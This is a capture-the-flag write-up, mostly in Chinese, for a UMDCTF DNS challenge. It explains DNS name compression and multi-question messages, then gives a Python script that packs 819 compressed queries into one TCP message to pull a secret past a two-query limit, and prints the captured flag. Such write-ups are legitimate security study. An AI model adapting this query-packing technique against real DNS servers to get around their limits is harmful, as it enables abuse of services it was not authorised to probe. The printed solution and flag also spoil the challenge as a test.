A mysterious DNS server is running on the inside. It holds a secret —
but you'll need to be clever to extract it all.
Hint: Can you ask more than one question at a
time?
DNS 基础
1. DNS 消息长什么样
DNS 消息在网络上是二进制数据,分五段:
1 2 3 4 5 6 7 8 9 10 11
| +------------------------+ | Header (12 字节) | ← 消息头 +------------------------+ | Question (问题区) | ← 你问的是哪个域名 +------------------------+ | Answer (回答区) | +------------------------+ | Authority (权威区) | +------------------------+ | Additional (附加区) | +------------------------+
|
Header 里最重要的四个字段是计数,告诉解析器每个区有多少条目:
1 2 3 4
| QDCOUNT — 问题区有几个问题 ANCOUNT — 回答区有几个回答 NSCOUNT — 权威区有几个记录 ARCOUNT — 附加区有几个记录
|
一般情况下 QDCOUNT=1,每次只问一个问题。
2. 域名在消息里不是字符串
域名不是直接写 www.example.com。它按 .
拆成标签(labels),每个标签前加 1 字节长度:
1 2 3
| www.example.com 编码为: [3] 'w' 'w' 'w' [7] 'e' 'x' 'a' 'm' 'p' 'l' 'e' [3] 'c' 'o' 'm' [0] ↑3字节 ↑7字节 ↑3字节 ↑结束符
|
记这个编码方式,后面解压缩要用到。
3. DNS 名称压缩——核心机制
同一个域名后缀会在一个消息里反复出现(问题区一个、回答区可能好几个)。每次都完整编码很浪费空间。
解决方案:用 2 字节的指针代替重复标签。
指针怎么和标签区分?标签长度字节的高 2
位是标识位:
| 高 2 位 |
含义 |
| 00 |
普通标签(长度 0-63) |
| 11 |
压缩指针 |
普通标签最长 63 字节,二进制 00111111,高两位永远
00。所以用 11 做指针标识不会混淆。
指针格式:
1 2 3 4
| 1 1 | 14-bit OFFSET +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | 1 1| OFFSET | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|
高 2 位 = 11 → 第一字节 ≥ 192 (0xC0) 低 14 位 =
从消息开头算起的偏移量
举例:0xC0 0x0C - 0xC0 =
11000000 → 是指针 - 低 14 位 = 12 → 指向消息偏移 12
的位置
域名可以部分用标签、部分用指针拼接:
FOO.example.com 如果 .example.com
已经在前面出现过:
1 2
| [3] 'F' 'O' 'O' + [指针指向.example.com的位置] ↑新标签 ↑复用的是后面的所有标签
|
甚至可以整个域名只用一个指针指向之前出现过的相同域名。
4. 一个消息可以问多个问题吗?
可以。QDCOUNT 字段可以大于 1。
不过传统 DNS 服务器通常不支持(RFC 9619
甚至禁止了),但自定义 DNS
服务器可以自己处理。这题的服务端就支持。
5. TCP 也能跑 DNS
常规 DNS 用 UDP 端口 53,但 TCP 也行。
|
UDP |
TCP |
| 消息前缀 |
无 |
2 字节长度(大端)+ 消息体 |
| 大小限制 |
512 字节传统上限 |
无实际限制 |
| 使用场景 |
普通查询 |
大响应、zone transfer |
TCP 传输时:先发 2 字节告诉我们接下来有多少字节的 DNS
消息,再发消息体。
Challenge Overview
题目给了一个自定义 DNS 服务器(监听 TCP),每次连接生成一个
819 字符的随机 secret。
服务器接受两种 TXT 记录查询:
- 单字符查询:查
<N>.inside.info(N 是 0~818)→ 返回第 N 位的字符
- 完整 secret 查询:查
完整secret(用点分63字符块).inside.info → 返回 flag
限制:每个连接只能发 2 次 DNS 查询,新连接生成全新
secret。
分析
要拿到 819 个字符,但只许问 2
次。意味着第一次查询要一次性提取全部字符。
每次查一个(0.inside.info → 拿字符
0,1.inside.info → 拿字符
1...)如果每个都单独发一次查询,需要 819 次,显然不行。
思路
利用 QDCOUNT > 1,把 819 个问题全塞进一个 DNS
消息:
1 2 3 4 5
| 一条消息里: Question 0: 0.inside.info → TXT Question 1: 1.inside.info → TXT ... Question 818: 818.inside.info → TXT
|
服务端收到 QDCOUNT=819,逐个回答,一次返回 819 个字符。
如果不压缩,每个 question: - 0.inside.info 的域名编码 ≈
16 字节 - QTYPE(2) + QCLASS(2) = 4 字节 - 共 ≈ 20 字节
819 × 20 = 16,380 字节 → 太大了。
819 个 question 共享同一个后缀
.inside.info。
把 .inside.info
的完整标签编码放在消息末尾,每个 question 用2
字节指针指向它:
1 2 3 4 5 6 7
| 未压缩的 0.inside.info: [1] '0' [6] 'i' 'n' 's' 'i' 'd' 'e' [4] 'i' 'n' 'f' 'o' [0] ↑每次都重复这堆
压缩后的 0.inside.info: [1] '0' + [2字节指针 → .inside.info] + [QTYPE][QCLASS] ↑只编数字 ↑指向消息末尾的共享后缀 ↑4字节
|
每个 question 从 ~20 字节压缩到 ~7 字节。
819 × 7 ≈ 5,700 字节,TCP 消息完全装得下。
攻击流程
Query 1 — 塞入 819 个压缩 question:
1 2 3 4 5 6
| Header: QDCOUNT=819 Question 0: [1]'0' + [指针→.inside.info] + TXT/IN Question 1: [1]'1' + [指针→.inside.info] + TXT/IN ... Question 818: [3]'818' + [指针→.inside.info] + TXT/IN [消息末尾]: 完整的 .inside.info 标签编码 ← 指针指向这里
|
服务器回复 819 条 TXT 记录,每条一个字符。拼接出完整 secret。
Query 2 — 查 完整secret.inside.info →
拿到 flag。
Exploit Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| import struct import socket
def build_compressed_question(num_bytes, suffix_offset): """构造一个压缩 question: [数字标签] + [2字节指针→后缀] + [QTYPE][QCLASS]""" buf = bytes([len(num_bytes)]) + num_bytes buf += struct.pack('!H', 0xC000 | suffix_offset) buf += struct.pack('!HH', 16, 1) return buf
def read_dns_name(data, pos): """跳过 DNS 域名(可能含压缩指针),返回下一个字段的起始位置""" while pos < len(data): b = data[pos] if b == 0: return pos + 1 if (b & 0xC0) == 0xC0: return pos + 2 pos += 1 + b return pos
questions_placeholder = b'' for i in range(819): num = str(i).encode() questions_placeholder += build_compressed_question(num, 0)
suffix_offset = 12 + len(questions_placeholder) suffix_encoding = b'\x06inside\x04info\x00'
questions = b'' for i in range(819): num = str(i).encode() questions += build_compressed_question(num, suffix_offset)
questions += suffix_encoding
dns_header = struct.pack('!HHHHHH', 0x1337, 0x0100, 819, 0, 0, 0) packet = dns_header + questions
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('challenge.umdctf.io', 31337)) sock.send(struct.pack('!H', len(packet)) + packet)
resp_len = struct.unpack('!H', sock.recv(2))[0] resp = b'' while len(resp) < resp_len: chunk = sock.recv(resp_len - len(resp)) if not chunk: break resp += chunk
pos = 12
for _ in range(819): pos = read_dns_name(resp, pos) pos += 4
secret_chars = [] for _ in range(819): pos = read_dns_name(resp, pos) rtype, rclass, ttl, rdlen = struct.unpack('!HHIH', resp[pos:pos+10]) pos += 10 if rtype == 16: txt_len = resp[pos] char = resp[pos+1:pos+1+txt_len].decode() secret_chars.append(char) pos += rdlen
secret = ''.join(secret_chars)
chunks = [secret[i:i+63] for i in range(0, len(secret), 63)] full_name = '.'.join(chunks) + '.inside.info'
qname = b'' for part in full_name.split('.'): qname += bytes([len(part)]) + part.encode() qname += b'\x00' flag_question = qname + struct.pack('!HH', 16, 1) flag_header = struct.pack('!HHHHHH', 0x1338, 0x0100, 1, 0, 0, 0) flag_packet = flag_header + flag_question
sock.send(struct.pack('!H', len(flag_packet)) + flag_packet)
sock.close()
|
关键点总结
| 概念 |
在这道题里的作用 |
| QDCOUNT > 1 |
一个消息塞 819 个问题,一次拿到全部字符 |
| 名称压缩(指针) |
每个 question 共享 .inside.info 后缀,大小从 20
字节降到 7 字节 |
| TCP 传输 |
消息太大放不进 UDP,用 TCP 的 2 字节长度前缀可靠传输 |
| TXT 记录 |
服务器用 TXT 返回单字符,1 字节长度前缀 + 1 字节字符 |
Flag
UMDCTF{5Ur31Y_N0_0N3_W111_N071C3_MY_1N51D3r_7r4D1N6}